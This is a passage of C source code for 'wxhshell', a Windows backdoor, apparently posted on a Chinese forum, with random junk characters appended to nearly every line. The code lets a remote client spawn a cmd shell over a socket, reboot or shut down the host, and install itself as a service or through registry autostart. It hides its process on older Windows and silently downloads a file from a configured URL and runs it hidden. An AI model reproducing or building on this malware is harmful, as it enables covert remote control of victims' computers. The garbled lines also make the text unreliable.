  // 帮助 Debv4Gr;^  
  case '?': { r :dTz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /<3UQLMa  
    break; 1&2>LE/P  
  } fR|A(u#9  
  // 安装 EQ ttoOO  
  case 'i': { Wjc'*QCPl  
    if(Install()) nP$9CA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ElXFeJ%[G  
    else c%&>p||  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IK]d3owA  
    break; y}H!c;  
    } \Cj B1] I  
  // 卸载 7 d vnupLh  
  case 'r': { `x|?&Ytmf9  
    if(Uninstall()) p#Bi>/C6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z ]ONh  
    else <}LC~B!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q*KAk{kR(v  
    break; 16 $B>  
    } ;nGa.= "L  
  // 显示 wxhshell 所在路径 o}!PQ#`M  
  case 'p': { ME dWLFf  
    char svExeFile[MAX_PATH]; UI#h&j5pW  
    strcpy(svExeFile,"\n\r"); ww/Uzv  
      strcat(svExeFile,ExeFile); =#\:}@J5I  
        send(wsh,svExeFile,strlen(svExeFile),0); If.r5z9  
    break; Q20 %"&Xp]  
    } he4(hX^  
  // 重启 Y0>y8U V  
  case 'b': { *2?@ |<(r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); % `3jL7|  
    if(Boot(REBOOT)) xfQ1T)F3g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [vgtc.V  
    else { wj+*E6o-n  
    closesocket(wsh); $^ P0F9~0  
    ExitThread(0); ZW}_DT0  
    } 8_8l.!~  
    break; =Uh$&m  
    } xA/D'  
  // 关机 RpF&\x>  
  case 'd': { PM+[,H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =}*0-\QG  
    if(Boot(SHUTDOWN)) <q SC#[xu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dj+f]~  
    else { 3Y &d=  
    closesocket(wsh); 1qch]1 ^G  
    ExitThread(0); 0mnw{fE8_  
    } ]! dTG  
    break; PdCEUh\>y  
    } 9my^ Y9B  
  // 获取shell q7!{?\T%  
  case 's': { ] @'!lhLi  
    CmdShell(wsh); xU vs:  
    closesocket(wsh); 99S ^f:t  
    ExitThread(0); dscgj5b1~  
    break; P%6~&woF  
  } <m m[S  
  // 退出 i$@:@&(~Y  
  case 'x': { rc{v$.o0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yLGRi^d#  
    CloseIt(wsh); N$DkX)Z  
    break; *Uh!>Iv;  
    } RpK@?[4s  
  // 离开 sRW<me;  
  case 'q': { K8~d^G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +:f"Y0  
    closesocket(wsh); hc1N ~$3!G  
    WSACleanup(); `gJ(0#ac  
    exit(1); Gq6*SaTk  
    break; TJN4k@\$2  
        } Si7*& dw=  
  } aYeR{Y]  
  } JLYi]nZ  
%RVZD#zr  
  // 提示信息 y(&Ac[foS}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6mE\OS-I  
} y2v^-q3  
  } N;d] 14|  
u y+pP!<  
  return; /{[o ~:'p  
} mR~&)QBP.  
s.#`&Sd>  
// shell模块句柄 z{6Z 11|  
int CmdShell(SOCKET sock) %C0Dw\A*:  
{ ibw;}^m(  
STARTUPINFO si; D@KlOU{<  
ZeroMemory(&si,sizeof(si)); B1gR5p0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E@\e$?*X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n|hNM?v  
PROCESS_INFORMATION ProcessInfo; cS$_\65  
char cmdline[]="cmd"; edD)TpmE,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (BM47 D=v  
  return 0; .d*8C,  
} FsPw1A$y  
: DNjhZ  
// 自身启动模式 RNL9>7xV  
int StartFromService(void) D=$)n_F  
{ #z(]xI)"  
typedef struct 6LZCgdS{  
{ H+#FSdy#  
  DWORD ExitStatus; *v`eUQ:  
  DWORD PebBaseAddress; &[9709 (=  
  DWORD AffinityMask; r^ XVB`v  
  DWORD BasePriority; jCY %|  
  ULONG UniqueProcessId; x38 QD;MT  
  ULONG InheritedFromUniqueProcessId; b$7 +;I;  
}   PROCESS_BASIC_INFORMATION;  k'YTpO  
zqku e%^?-  
PROCNTQSIP NtQueryInformationProcess; 'R)Tn!6  
NHt\ U9l'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rjP/l6 ~'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0_/[k*Re  
y} '@R$  
  HANDLE             hProcess; l}h!B_P'  
  PROCESS_BASIC_INFORMATION pbi; DDZ@$L!  
0]L"H<W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m'U0'}Ld};  
  if(NULL == hInst ) return 0; N+|d3X!  
m~|40)   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;"I^ZFYX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cNrg#Asen&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 54,er$$V  
pCDmXB  
  if (!NtQueryInformationProcess) return 0; @W<m 4fi  
^OdP4m( >>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }vuARZ>  
  if(!hProcess) return 0; F@t3!bj9  
<b.D&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #Z#-Ht  
x^ni1=kU  
  CloseHandle(hProcess); b>W %t  
s"|Pdc4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V#HuIgf-  
if(hProcess==NULL) return 0; "Q<MS'a  
VTM/hJmwJ  
HMODULE hMod; wzA$'+Mb  
char procName[255]; =|=(l)8  
unsigned long cbNeeded; &m3lXl  
0Gk<l{o?^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dr(*T  
m 5.Zu.  
  CloseHandle(hProcess); v19-./H^ j  
4*L_)z&4;  
if(strstr(procName,"services")) return 1; // 以服务启动 @~e5<:|5#  
-=="<0c  
  return 0; // 注册表启动 +vH4MwG$.&  
} s iaG'%@*r  
Gt1U!dP  
// 主模块 PCvWS.{  
int StartWxhshell(LPSTR lpCmdLine) ! if   
{ pmM9,6P4@  
  SOCKET wsl; !1k_PY5)  
BOOL val=TRUE; F2WKd1U  
  int port=0; W!X@  
  struct sockaddr_in door; |4JEU3\$  
4 5e~6",  
  if(wscfg.ws_autoins) Install(); sB</DS  
XSDpRo  
port=atoi(lpCmdLine); ' %qr.T %  
Ri{=]$  
if(port<=0) port=wscfg.ws_port; oRFq @g  
|>Vb9:q9Po  
  WSADATA data; ok[i<zl; '  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ixFi{_  
.8R@2c`}Cs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m*pJBZxd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w(/S?d  
  door.sin_family = AF_INET; AdEMa}u 6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2iOV/=+  
  door.sin_port = htons(port); Z r8*et  
uT{q9=w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3<!7>]A  
closesocket(wsl); n]9$:aLZ  
return 1; j^'go&p  
} !Ee:o"jG{  
A<{{iBEI`  
  if(listen(wsl,2) == INVALID_SOCKET) { d~H`CrQE*  
closesocket(wsl); ?}0,o.  
return 1; |N2#ItBbW  
} Za9qjBH   
  Wxhshell(wsl); tYS06P^<  
  WSACleanup(); WLT"ji0w2  
Tx D#9]Q`  
return 0; 2 nCA<&  
6'/ #+,d'  
} D^O@'zP=At  
y0#2m6u  
// 以NT服务方式启动 [6fQ7uFMM8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =euni}7a  
{ +rd+0 `}C  
DWORD   status = 0; e= AKD#  
  DWORD   specificError = 0xfffffff; yAt ^;  
WJ#[LF!e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \e;iT\=.(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fu5=k:/c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A&VG~r$  
  serviceStatus.dwWin32ExitCode     = 0; KPF1cJ2N  
  serviceStatus.dwServiceSpecificExitCode = 0; SU0 hma8  
  serviceStatus.dwCheckPoint       = 0; ! mHO$bQ"  
  serviceStatus.dwWaitHint       = 0; fVlB=8DNk&  
5+'<R8{:,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GJrG~T  
  if (hServiceStatusHandle==0) return; i@yC-))bY  
;+%rw2Z,B  
status = GetLastError(); ;TYBx24vD'  
  if (status!=NO_ERROR) K-4PI+qQ\  
{ _b 0& !l<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n S=W1zf  
    serviceStatus.dwCheckPoint       = 0; HfVZ~PP  
    serviceStatus.dwWaitHint       = 0; +%'(!A?*`  
    serviceStatus.dwWin32ExitCode     = status; Da|z"I x  
    serviceStatus.dwServiceSpecificExitCode = specificError; mt .sucT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @]j1:PN-  
    return; A"]YM'.  
  } f#;>g  
.nJz G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :X=hQ:>P  
  serviceStatus.dwCheckPoint       = 0; >7|VR:U?B  
  serviceStatus.dwWaitHint       = 0; vaLSH xi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *w&e\i|7  
} ;u JMG  
7! Nsm  
// 处理NT服务事件,比如:启动、停止 It(_v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j%kncGS  
{ (=0.inZ  
switch(fdwControl) XSR 4iu  
{ V0@=^Bls  
case SERVICE_CONTROL_STOP: e+WNk 2  
  serviceStatus.dwWin32ExitCode = 0; }#fbbtd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]M=&+c>H~  
  serviceStatus.dwCheckPoint   = 0; aN?zmkPpov  
  serviceStatus.dwWaitHint     = 0; /: "1Z]@  
  { a(nlTMfu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dd;~K&_Q/i  
  } W1~0_;  
  return; zCZf%ATq  
case SERVICE_CONTROL_PAUSE: :Ye !w$r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4s- !7  
  break; e ,(mR+a8  
case SERVICE_CONTROL_CONTINUE: **%37  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kVgTGC"L=  
  break; RZLq]8pM  
case SERVICE_CONTROL_INTERROGATE: 3fj4%P"  
  break; vXs"Dst  
}; tmq OJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?s01@f#  
} [,Gg^*umS  
(QEG4&9  
// 标准应用程序主函数 +7Gwg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @ Y+oiB~Y  
{ -w2/w@&  
J1k>07}|  
// 获取操作系统版本 K- v#.e4  
OsIsNt=GetOsVer(); D*jM1w_`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t.<i:#rj>l  
4?kcv59  
  // 从命令行安装 ^#pEPVkY  
  if(strpbrk(lpCmdLine,"iI")) Install(); teR Tu  
/^ts9:  
  // 下载执行文件 dO'(2J8  
if(wscfg.ws_downexe) { {: /}NpA$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Txu/{ M,  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6K^#?Bn;  
} BPrt'Nc  
{ 6il`>=C  
if(!OsIsNt) { *4'"2"  
// 如果时win9x,隐藏进程并且设置为注册表启动 {7[Ox<Ho  
HideProc(); Jy)/%p~  
StartWxhshell(lpCmdLine); O.? JmE  
} rI\FI0zIp_  
else {}9a6.V;}  
  if(StartFromService()) YK_ 7ip.a[  
  // 以服务方式启动 Rcuz(yS8  
  StartServiceCtrlDispatcher(DispatchTable); 1 MFbQs^  
else - ).C  
  // 普通方式启动 )0`C@um  
  StartWxhshell(lpCmdLine); hN_]6,<\  
X|dlt{Gf   
return 0; yi[x}ffdE  
}
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只看该作者 1 发表于: 2006-10-10
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